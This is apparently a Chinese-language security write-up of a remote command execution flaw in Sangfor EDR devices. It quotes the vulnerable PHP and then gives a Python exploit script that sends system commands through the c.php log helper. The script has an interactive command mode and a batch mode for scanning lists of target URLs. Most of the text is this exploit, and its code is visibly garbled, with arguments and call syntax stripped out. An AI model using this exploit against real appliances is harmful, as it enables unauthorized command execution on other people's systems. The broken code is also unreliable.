深信服edr设备远程命令执行漏洞

RCE

echo "<p><b>Log Helper</b></p>";
$show_form;

跟入show_form

/**
 * 显示表单
 * @param array $params 请求参数
 * @return
 */
$show_form = function use {
    extract;
    $host  = isset  ? $strip_slashes  : "127.0.0.1";

exp：

# -*- coding: utf-8 -*-
# @Time : 2020/8/17
# @Author : Angel
# @File : edr.py
# 感谢大佬提供Command execute部分代码


import requests
import re
import urllib3
import sys
urllib3.disable_warnings

def hello:
    print 
    print 
    print 
    print 
    print 
    print 
    print 
    print 

def readFile:
    list=[]
    keywords = open
    line = keywords.readline.strip
    while :
        list.append
        line = keywords.readline.strip
    keywords.close
    return list


def log:
    save = file+".txt", "a+")
    save.write+"n")
    save.close


def rce:
    headers={
        'Connection': 'close',
        'Cache-Control': 'max-age=0',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0  AppleWebKit/537.36  Chrome/84.0.4147.125 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Sec-Fetch-Site': 'none',
        'Sec-Fetch-Mode': 'navigate',
        'Sec-Fetch-User': '?1',
        'Sec-Fetch-Dest': 'document',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9'

    }

    url="{}/tool/log/c.php?strip_slashes=system&host={}".format
    print url
    try:
        response = requests.get
        response.raise_for_status
        response.encoding = "utf-8"
        #print response.text
        res=re.findall<pre><form',response.text,re.S)
        response.close
        print
        return "+"
    except:
        print
        return "-"

if __name__ == '__main__':
    if len < 2:
        hello
    else:
        if sys.argv[1] == "url":
            while 1:
                command = raw_input
                if command:
                    print 
                    rce
                else:
                    print 
                command = ""

        elif sys.argv[1] == "file":
            if  < 3:
                print "Command: python edr.py file url.txt"
            else:
                for i in readFile:
                    print 
                    if rce == "+":
                        log
                    else:
                        log
        else:
            hello

参考链接：

https://www.cnblogs.com/potatsoSec/p/13520546.html